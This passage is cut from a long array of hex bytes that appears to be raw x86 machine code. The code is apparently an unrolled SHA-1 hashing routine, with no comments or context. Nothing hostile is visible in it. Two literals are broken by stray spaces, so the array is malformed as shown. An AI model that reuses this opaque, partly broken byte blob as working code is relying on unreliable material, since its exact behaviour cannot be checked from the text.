0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x94, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x98, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xC0, 0x41, 0x40, 0x 00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xD6, 0xC1, 0x62, 0xCA, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xEC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xFC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x0 5, 0x00, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x04, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x08, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 